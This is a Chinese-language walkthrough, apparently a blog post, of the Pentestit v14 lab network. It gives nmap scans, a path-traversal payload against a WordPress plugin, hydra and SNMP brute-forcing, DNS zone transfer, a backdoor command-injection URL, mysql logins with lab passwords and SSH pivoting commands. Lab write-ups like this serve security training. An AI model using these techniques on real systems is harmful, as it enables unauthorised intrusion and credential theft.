pentestit-v14闯关记
本次操作在kali上完成：
OpenVPN连接成功后ping通192.168.101.1即可表示连接内网
扫描内网发现存活主机
nmap -sP 192.168.101.0/24
Nmap scan report for 192.168.101.1
Nmap scan report for 192.168.101.14
Nmap scan report for 192.168.101.15
扫描端口信息：
nmap -Pn -sS -v 192.168.101.X
端口扫描信息
Nmap scan report for 192.168.101.14
Host is up (0.48s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
80/tcp open http site.test.lab
143/tcp open imap
8080/tcp open http-proxy 192.168.101.14:8080/mail/
Nmap scan report for 192.168.101.15
Host is up (0.59s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
访问14的80端口，无法访问，跳转到相应网址，根据以往经验将网址加入到hosts文件中。
kali中位于/etc/hsots
之后获得信息：
Sales Department – sidorov@test.lab
PR Department – ivanov@test.lab
IT Department – petrov@test.lab
1、site-token
wpscan扫描：
搜索漏洞
support@test.lab
猜测为waf导致：
进行双写绕过：
http://site.test.lab/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=//etc//passwd
获得site token：
2、mail-token
hydra爆破imap143端口邮箱
hydra -L email.txt -P /usr/share/john/password.lst imap://192.168.101.14 -f -v -t20
发现support@test.lab密码：PASSWORD
获得mail-token
发现存在相关邮件附件client.jar，certificate.zip和vpn.zip：
3、java-token
使用vpn中配置文件openvpn连接192.168.101.15建立新的路由,该配置文件为101.15，扫描阶段发现存在101.14的openvpn端口开放
又查看client.jar文件，发现172.16.20.2的ssh连接，但经过加密；
可以进行反汇编，也可以用下面程序直接编译运行输出java-token密码：
public class pass{
private static String sshPass = "L1(#@ru0euh0if";
public static void main(String[] args){
byte[] buf = sshPass.getBytes();
for (byte i = 0; i < buf.length; i = (byte)(i + 1))
buf[i] = (byte)(buf[i] ^ i);
sshPass = new String(buf);
System.out.println("Password = "+sshPass);
}
}
4、terminal-2-token
解出上面172.16.20.2的dev用户密码后ssh连接，find查找token后发现新的terminal-2的token；
之后查看本地文件的时候会发现在dev用户目录下存在.crt文件夹，之后会发现相关配置文件：
联想邮件中vpn文件，猜想该证书及密钥是采用预共享密钥方式用于生成192.168.101.14的openvpn配置文件（用vpn文件中配置文件ca及dev.crt、dev.key生成dev.conf）：
之后openvpn连接建立新的路由：
5、VPN-2-token
扫描整个网段80端口
之后进行目录遍历，目录token存在，（其实这一步工具没跑出来，感觉这个token有点扯）
6、NS-token
扫描中发现172.16.0.10存在dns服务，dns域传送漏洞测试，其中存在一个token：
dig axfr @IP domain
7、AD-token
之后从dns域传送漏洞中知道172.16.0.20位AD服务器，在此时路由中到达不到50.20；所以扫描0.20端口：
发现存在samba服务，之后使用工具对域控进行用户枚举
enum4linux -U 172.16.0.20
8、wiki-token
回到之前172.16.20.2上发现存在相关服务
使用SSH本地转发,
ssh -L 8001:172.16.0.12:80 dev@172.16.20.2
之后尝试模版注入
扫描发现使用ruby-on-rails，根据ruby历史漏洞，可参考CVE-2016-0752 动态渲染机制从而使用日志污染的方法实现文件包含进而代码执行漏洞，当然本次比较简单，直接回显了token
9、vpn-1-token
之后将目光转到192.168.101.14的VPN路由上，在101.15路由中的DNS信息中会发现，部分网段是无法访问的，在101.14的路由中我们可以进行剩余相关路由的尝试；
根据之前dns域传送泄露信息发现172.16.50.11同为vpn域名，使用172.16.0.11的token方法：
10、news-token
扫描内网172.16.50.21,发现登陆界面，使用之前发现的dev账号登陆，之后扫描在lenta.php.save路径存在源码文件，之后发现存在后门：
之后构造相应POC获得token文件：
http://172.16.50.21/lenta.php?debug=dawdawgoiagi2re0&cmd=cat%20/opt/token
11、DB-token
在50.21进行信息手机中，发现源码中配置文件存在172.16.40.5的数据库密码配置文件，netstat查看端口连接情况发现为mysql数据库
之后连接查看数据获得token：
mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -se "show databases;"
mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -se "select * from php.other;"
mysql -h 172.16.40.5 -u php-site (-D) php -pfqafG32rGpwvbcsof -e "select * from other" .
12、router-token
结合前文扫描结果，172.16.50.1/24段扫描到相关主机除了172.16.50.50均对应出现系统，因此再次对50进行探测：
之后尝试snmp的public弱口令发现不成功，之后尝试snmp爆破；可以使用onesixtyone，也可以使用msf中scanner/snmp/snmp_login
onesixtyone -c /usr/share/john/password.lst 172.16.50.50
之后使用爆破密码获得router的token
13、user-token
结合扫描信息会发现存在ssh开放的情况，可以结合前文收集信息整理形成字典，进行爆破；
在172.16.60.1/24段的爆破中发现172.16.60.2–172.16.60.5均存在sidorov和petrov账户的记录；
172.16.60.3中当前用户目录下存在id_rsa文件
在172.16.60.4的信息收集中根据以往经验在opt目录下发现dump文件，并发现为tcpdump文件；
在172.16.60.5中发现user的令牌
14、dump-token
根据前文信息搜集在172.16.60.4中存在tcpdump文件，本来使用scp下载到本地查看但大概是文件太大无法下载，之后在60.4上查看是否存在tcpdump工具
使用命令：
/usr/sbin/tcpdump -r dump -A | grep "token"
获得本次dump-token
15、git-token
在查看流量猜测为相关web服务登陆密码，之后使用命令
/usr/sbin/tcpdump -r dump -A port 80
发现应该是在172.16.0.21存在git中的账户记录，因为之前在DNS记录中的信息对应域名为git.test.lab;可以在192.168.101.15中进行尝试，并登陆成功：
发现存在脚本文件，并结合之前邮件中发现certificate文件，将其代码下载下来研究；
在搜寻信息中查看readme.md的记录过程中发现本次git-token
16、certificate-token
将certificat文件进行研究，运行该文件会提示缺少相关模块，之后安装相关模块运行提示输入密码，将程序进行修改：
运行获得本次密钥；当然最早在邮件中下载的certificate.so文件应该也是该功能，也可以通过反汇编进行解密；
17、TERMINAL-1-token
根据之前在172.16.60.3中的id_rsa文件并查看，根据之前ssh的22端口扫描结果，尝试对172.16.40.2进行登录尝试；
根据以往经验信息搜集获得本次token
18、FPM-token
根据DNS表中信息，172.16.40.3应该存在相关web服务，发现只能通过172.16.40.2才能进行访问，并且开放了80和9000（FPM）端口，进行fpm远程代码执行漏洞尝试；
可以进行ssh端口转发，利用ssh+socks5进行漏洞利用（也可以本地转发）：
ssh动态转发：
ssh -fN -D 1080 -i id_rsa sidorov@172.16.40.2
ssh本地转发：
ssh 80:172.16.40.3:80 sidorov@172.16.40.2 -i id_rsa
19、Passwd_verify-token
172.16.40.6的ssh22端口开放，进行连接尝试；
ssh -L 2222:172.16.40.6:22 -i id_rsa sidorov@172.16.40.2
ssh -i id_rsa sidorov@127.0.0.1 -p 2222
发现172.16.40.6存在PIN码校验；虽然存在PIN，但是依旧可以使用端口转发；
在对172.16.40.4进行ssh爆破时，需要通过172.16.40.6进行端口转发；将id_rsa文件上传到172.16.40.2上进行操作，需要注意的是文件因为权限问题应该只能上传到172.16.40.2的tmp目录；
scp -i id_rsa id_rsa sidorov@172.16.40.2:/tmp
之后ssh连接到172.16.40.2进行操作；进行登录尝试发现密钥文件权限不能过大，只能限定单用户，可以用chmod 600 /tmp/id_rsa;
还存在密钥文件不匹配的情况，根据前文信息搜集情况，将certificate-token过程中生成的密钥保存发送进行尝试；
利用过程中会有不存在用户记录情况，结合信息搜集尝试用户ivanov登陆成功；
ssh -L 2222:172.16.40.4:22 sidorov@172.16.40.6 -i /tmp/id_rsa
ssh sidorov@127.0.0.1 -i /tmp/id_rsa -p 2222
之后在opt目录下发现revers文件；之后使用scp将文件传输到本地；
在172.16.40.2上配合172.16.40.6的ssh端口转发先下载到172.16.40.2:
scp -i /tmp/id_rsa_cert -P 2222 ivanov@127.0.0.1:/opt/revers /tmp
之后在本地主机上使用scp下载到本地目录：
scp -i id_rsa sidorov@172.16.40.2:/tmp/revers /
之后进行反汇编查看
对5cec175b165e3d5e62c9e13ce848ef6feac81bff进行解密：
再次运行执行程序输入密码获得token；
20、ELASTICSEARCH-token
建立连接：
ssh -L 2222:172.16.40.6:22 -i id_rsa sidorov@172.16.40.2
ssh -L 9200:172.16.40.7:9200 -i id_rsa sidorov@localhost -p 2222
查看发现需要认证：
尝试使用之前172.16.60.0/24爆破获得密码petrov:P@ssw0rd
登陆后进行查找，根据搜索发现token在两个“｜”之间：
总结：
渗透的本质是信息收集
浙公网安备 33010602011771号